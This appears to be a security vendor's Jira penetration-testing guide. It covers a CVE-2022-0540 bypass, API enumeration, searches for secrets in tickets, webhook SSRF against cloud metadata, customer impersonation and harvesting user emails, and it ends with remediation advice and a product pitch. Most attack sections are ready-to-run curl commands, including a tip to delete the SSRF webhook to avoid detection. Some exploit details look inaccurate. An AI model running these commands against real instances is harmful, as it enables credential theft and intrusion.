Jira Security Testing: CVE-2022-0540 Auth Bypass, API Token Abuse, and Project Enumeration

Atlassian Jira is the backbone of software development workflows at millions of organizations. That ubiquity makes it a high-value target — a compromised Jira instance exposes project roadmaps, customer bug reports, internal credentials stored in tickets, CI/CD integrations, and developer identities. This guide covers CVE-2022-0540 authentication bypass, REST API token enumeration, project visibility misconfiguration, service account credential exposure, and webhook-driven SSRF attacks.

Table of Contents

  1. CVE-2022-0540: Authentication Bypass (CVSS 9.8)
  2. REST API Enumeration and Token Abuse
  3. Project Visibility Misconfiguration
  4. Credentials and Secrets Stored in Tickets
  5. Webhook SSRF and Internal Network Access
  6. Jira Service Management Queue Bypass
  7. User Enumeration and Directory Exposure
  8. Jira Data Center Cluster Attacks
  9. Remediation and Hardening

CVE-2022-0540: Authentication Bypass (CVSS 9.8)

CVE-2022-0540 is a critical authentication bypass in Jira and Jira Service Management, affecting versions prior to 8.20.12 (Jira Server/DC) and 4.20.12 (Jira Service Management Server/DC). The vulnerability exists in the Seraph authentication framework — specifically in how the webwork.action.ActionSupport class handles Seraph-level authentication annotations.

An attacker can bypass authentication by exploiting how Jira handles requests with a specific URL path construction that confuses the Seraph authentication check, allowing unauthenticated access to endpoints that should require login.

# Test for CVE-2022-0540 authentication bypass
# The bypass relies on path traversal in the action URL

# Vulnerable endpoint — UserPickerBrowser action without auth
curl -v "https://jira.example.com/jira/secure/ViewUserHover.jspa!default.jspa"

# Seraph bypass via path manipulation
curl -v "https://jira.example.com/secure/WS/latest/UserPickerBrowser.jspa"

# Check if /rest/api/ is accessible without credentials
curl -s "https://jira.example.com/rest/api/2/serverInfo" | python3 -m json.tool

# Test unauthenticated user enumeration via the bypass
curl -s "https://jira.example.com/rest/api/2/user/search?username=admin" \
  -H "Accept: application/json"
Critical (CVSS 9.8): CVE-2022-0540 affects Jira Server and Data Center. Atlassian Cloud instances were patched automatically. Any on-premises Jira installation below version 8.20.12 or 9.0.x below 9.2.0 should be considered compromised until patched.

Identifying Vulnerable Versions

# Check Jira version — accessible without auth on most instances
curl -s "https://jira.example.com/rest/api/2/serverInfo" | \
  python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('version','unknown'))"

# Jira Server info via status page
curl -s "https://jira.example.com/status" | grep -i version

# Check REST API version endpoint
curl -s "https://jira.example.com/rest/api/latest/serverInfo" | jq '.version'

# Nuclei template for CVE-2022-0540
nuclei -u https://jira.example.com -t cves/2022/CVE-2022-0540.yaml

REST API Enumeration and Token Abuse

Jira exposes a comprehensive REST API at /rest/api/2/ and /rest/api/3/. Misconfigured instances allow unauthenticated enumeration, while stolen API tokens grant broad data access. Jira API tokens are tied to user accounts and share the user's permissions — a leaked admin token is equivalent to full system access.

# Unauthenticated project enumeration (misconfigured anonymous access)
curl -s "https://jira.example.com/rest/api/2/project" | \
  python3 -c "import sys,json; [print(p['key'],p['name']) for p in json.load(sys.stdin)]"

# Authenticated enumeration with API token
JIRA_HOST="https://jira.example.com"
API_TOKEN="your_api_token_here"
USER_EMAIL="user@example.com"

curl -s "$JIRA_HOST/rest/api/2/project" \
  -u "$USER_EMAIL:$API_TOKEN" \
  -H "Accept: application/json" | jq '.[].key'

# Enumerate all issues in a project
curl -s "$JIRA_HOST/rest/api/2/search?jql=project=PROJ&maxResults=100" \
  -u "$USER_EMAIL:$API_TOKEN" | jq '.issues[].fields.summary'

# Look for secrets in issue descriptions and comments
curl -s "$JIRA_HOST/rest/api/2/search?jql=text+~+%22password%22+OR+text+~+%22secret%22+OR+text+~+%22token%22&maxResults=50" \
  -u "$USER_EMAIL:$API_TOKEN" | jq '.issues[] | {key, summary: .fields.summary}'

# Search for AWS credentials in tickets
curl -s "$JIRA_HOST/rest/api/2/search?jql=text+~+%22AKIA%22+OR+text+~+%22aws_secret%22&maxResults=20" \
  -u "$USER_EMAIL:$API_TOKEN"

# Enumerate users
curl -s "$JIRA_HOST/rest/api/2/user/search?username=&maxResults=1000" \
  -u "$USER_EMAIL:$API_TOKEN" | jq '.[].emailAddress'

API Token Scanning Patterns

# Jira API tokens follow a specific pattern — scan git repos, CI logs
# Pattern: [A-Za-z0-9]{24} (classic tokens)
# Pattern: ATATT3xFfGF0[A-Za-z0-9+/=]{100,} (modern tokens)

grep -rE 'ATATT3xFfGF0[A-Za-z0-9+/=]{20,}' /path/to/codebase
grep -rE '"api_token":\s*"[A-Za-z0-9]{24}"' /path/to/codebase

# Trufflescan for Jira tokens in git history
trufflehog git file://. --only-verified --regex "ATATT3xFfGF0"

# GitLeaks rule for Jira
gitleaks detect --source=. -v --config=gitleaks.toml

Project Visibility Misconfiguration

Jira's permission scheme is complex — organizations frequently misconfigure project visibility, allowing unauthenticated users or low-privilege accounts to access restricted data. The most common misconfigurations involve "Anyone" and "Any logged-in user" permission grants on sensitive projects.

# Check if anonymous access is enabled globally
curl -s "https://jira.example.com/rest/api/2/configuration" | jq .

# List all projects accessible to anonymous
curl -s "https://jira.example.com/rest/api/2/project?expand=description" | \
  jq '[.[] | {key, name, projectTypeKey, isPrivate}]'

# Test anonymous issue browsing
curl -s "https://jira.example.com/rest/api/2/search?jql=project+in+projectsWhereUserHasPermission(%22Browse+Projects%22)&maxResults=1"

# Check specific project permissions (requires auth)
curl -s "https://jira.example.com/rest/api/2/project/PROJ/role" \
  -u "$USER_EMAIL:$API_TOKEN" | jq 'keys'

# Enumerate permission schemes
curl -s "https://jira.example.com/rest/api/2/permissionscheme" \
  -u "$USER_EMAIL:$API_TOKEN" | jq '.[].name'

# Check if "Anyone" has Browse Projects permission
curl -s "https://jira.example.com/rest/api/2/permissionscheme/10000/permission" \
  -u "$USER_EMAIL:$API_TOKEN" | jq '.permissions[] | select(.permission == "BROWSE_PROJECTS") | .holder'

Credentials and Secrets Stored in Tickets

Developers routinely paste credentials, SSH keys, API tokens, and database connection strings into Jira tickets. Once a low-privilege account (or anonymous access) can browse tickets, this becomes a serious data breach vector. Automated scanning for these patterns is essential during any Jira assessment.

# JQL queries to find credentials in tickets
JIRA_HOST="https://jira.example.com"

# Search for common secret patterns
QUERIES=(
  'text ~ "password:" AND updated >= -90d'
  'text ~ "api_key" AND updated >= -90d'
  'text ~ "secret_key" AND updated >= -90d'
  'text ~ "private_key" AND updated >= -90d'
  'text ~ "AKIA" AND updated >= -90d'
  'text ~ "BEGIN RSA PRIVATE KEY" AND updated >= -90d'
  'text ~ "connectionString" AND updated >= -90d'
  'text ~ "mongodb://" AND updated >= -90d'
  'text ~ "postgres://" AND updated >= -90d'
)

for q in "${QUERIES[@]}"; do
  ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$q'))")
  COUNT=$(curl -s "$JIRA_HOST/rest/api/2/search?jql=$ENCODED&maxResults=1" \
    -u "$USER_EMAIL:$API_TOKEN" | jq '.total')
  echo "$COUNT results for: $q"
done

# Extract full text of suspicious tickets
curl -s "$JIRA_HOST/rest/api/2/search?jql=text+~+%22AKIA%22&maxResults=5&fields=summary,description,comment" \
  -u "$USER_EMAIL:$API_TOKEN" | \
  jq '.issues[] | {key, summary: .fields.summary, description: .fields.description}'

Webhook SSRF and Internal Network Access

Jira's webhook functionality allows project administrators to configure HTTP callbacks on issue events. An attacker with project-admin access can configure webhooks pointing to internal network addresses, effectively turning Jira into an SSRF proxy to reach internal services.

# Jira webhook SSRF — requires project-admin or Jira-admin
# Create webhook pointing to internal network
curl -s -X POST "https://jira.example.com/rest/webhooks/1.0/webhook" \
  -u "$USER_EMAIL:$API_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "test-webhook",
    "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
    "events": ["jira:issue_created"],
    "jqlFilter": "project = PROJ",
    "excludeIssueDetails": false
  }'

# Alternative SSRF targets through Jira webhook
SSRF_TARGETS=(
  "http://169.254.169.254/latest/meta-data/"          # AWS metadata
  "http://metadata.google.internal/computeMetadata/v1/"  # GCP metadata
  "http://169.254.169.254/metadata/instance?api-version=2021-02-01"  # Azure metadata
  "http://internal-database:5432/"                       # Internal services
  "http://kubernetes.default.svc/"                       # K8s API server
)

# The webhook fires when a new issue is created — check your SSRF listener
# Then delete the webhook to avoid detection
curl -s -X DELETE "https://jira.example.com/rest/webhooks/1.0/webhook/10000" \
  -u "$USER_EMAIL:$API_TOKEN"

# Check system-level webhooks (Jira admin only)
curl -s "https://jira.example.com/rest/webhooks/1.0/webhook" \
  -u "$ADMIN_EMAIL:$ADMIN_TOKEN" | jq '.[].url'

Jira Service Management Queue Bypass

Jira Service Management (formerly Jira Service Desk) has its own permission model for customer portals and agent queues. Misconfigurations can allow unauthorized users to view private service desk queues, create tickets as other customers, or bypass customer portal authentication.

# Jira Service Management customer portal enumeration
# Public customer portals are accessible without login
curl -s "https://jira.example.com/servicedesk/customer/portals" | \
  grep -oP 'data-portal-id="\K[^"]*'

# Enumerate service desk projects
curl -s "https://jira.example.com/rest/servicedeskapi/servicedesk" \
  -u "$USER_EMAIL:$API_TOKEN" | jq '.values[] | {id, projectKey, projectName}'

# List queues in a service desk (agent access)
curl -s "https://jira.example.com/rest/servicedeskapi/servicedesk/1/queue" \
  -u "$USER_EMAIL:$API_TOKEN" | jq '.values[] | {id, name, issueCount}'

# Fetch issues from a specific queue
curl -s "https://jira.example.com/rest/servicedeskapi/servicedesk/1/queue/10/issue" \
  -u "$USER_EMAIL:$API_TOKEN" | jq '.values[].id'

# Customer account takeover test — create request as another customer
curl -s -X POST "https://jira.example.com/rest/servicedeskapi/request" \
  -u "$USER_EMAIL:$API_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "serviceDeskId": "1",
    "requestTypeId": "1",
    "raiseOnBehalfOf": "victim@example.com",
    "requestFieldValues": {
      "summary": "Test request on behalf of user",
      "description": "Testing customer impersonation"
    }
  }'

User Enumeration and Directory Exposure

Jira's user search APIs are frequently accessible to authenticated users — even those with minimal permissions. This enables attackers to enumerate the full user directory, identify administrator accounts, and extract email addresses for phishing campaigns.

# User enumeration via REST API
# Works with any authenticated user account
curl -s "https://jira.example.com/rest/api/2/user/search?username=a&maxResults=1000" \
  -u "$USER_EMAIL:$API_TOKEN" | jq '.[].emailAddress'

# Paginated enumeration for large directories
for letter in {a..z}; do
  curl -s "https://jira.example.com/rest/api/2/user/search?username=$letter&maxResults=1000" \
    -u "$USER_EMAIL:$API_TOKEN" | jq -r '.[].emailAddress'
done | sort -u > jira_users.txt

# Find admin users
curl -s "https://jira.example.com/rest/api/2/user/search?username=admin&maxResults=50" \
  -u "$USER_EMAIL:$API_TOKEN" | jq '.[] | select(.name | contains("admin")) | .name'

# Group membership — identify privileged groups
curl -s "https://jira.example.com/rest/api/2/group/member?groupname=jira-administrators&maxResults=1000" \
  -u "$USER_EMAIL:$API_TOKEN" | jq '.values[].emailAddress'

# Check for users with global admin permissions
curl -s "https://jira.example.com/rest/api/2/user/permission/search?permissions=ADMINISTER&maxResults=100" \
  -u "$USER_EMAIL:$API_TOKEN" | jq '.[].emailAddress'

Jira Data Center Cluster Attacks

Jira Data Center deployments add clustering complexity that introduces additional attack surface. The cluster's shared filesystem (jira-shared-home), inter-node communication, and the database used for distributed locking can all be targeted.

# Identify Data Center deployment indicators
curl -s "https://jira.example.com/rest/api/2/cluster/nodes" \
  -u "$ADMIN_EMAIL:$ADMIN_TOKEN" | jq '.[].nodeId'

# Check cluster health endpoint (admin)
curl -s "https://jira.example.com/rest/api/2/cluster/health" \
  -u "$ADMIN_EMAIL:$ADMIN_TOKEN" | jq .

# Data Center uses shared home filesystem — test for path traversal in plugins
# Jira plugin marketplace may expose shared home path

# Check Jira node IDs — used in session cookies for node affinity
# Session affinity bypass: JSESSIONID suffix contains node ID
# Example: JSESSIONID=abc123.node1 -- strip node suffix to hit any node

# Ehcache distributed cache attacks — if clustered port is exposed
nmap -p 40001 --open jira.example.com  # Default Ehcache cluster port
nmap -p 5801 --open jira.example.com   # Default Hazelcast port

# Check Hazelcast management endpoint (may be unauthenticated on internal interfaces)
curl -s "http://jira-internal:5701/hazelcast/rest/cluster" | jq .

Remediation and Hardening

Finding Risk Remediation
CVE-2022-0540 authentication bypass Critical Upgrade Jira to 8.20.12+, 9.2.0+, or latest patch release immediately
Anonymous access enabled High Disable anonymous access in Global Settings → Security → Anonymous Access
Credentials in tickets High Audit tickets via JQL for secrets, rotate any exposed credentials, train developers
Webhook SSRF High Restrict webhook creation to admins; use allowlist for webhook URLs
User enumeration via API Medium Restrict user search permissions; enable private profile settings
Excessive API token scope Medium Enforce MFA for Atlassian accounts; audit and revoke unused tokens
Unauthenticated REST API access High Require authentication for all REST API endpoints; place Jira behind VPN for internal use
Cluster port exposure High Firewall Hazelcast (5701) and Ehcache (40001) ports; restrict to cluster node IPs only

Jira Security Hardening Checklist

Automated Assessment: Ironimo can automatically scan your Jira instance for CVE-2022-0540, anonymous access misconfigurations, exposed REST API endpoints, and webhook SSRF vulnerabilities — with authenticated scanning using your API token for deeper coverage.

Scan Your Jira Instance with Ironimo

Ironimo's Kali Linux-powered scanner automatically tests for CVE-2022-0540, project visibility misconfigurations, API token exposure, and webhook SSRF without manual setup. Get a complete Jira security assessment in minutes.

Start free scan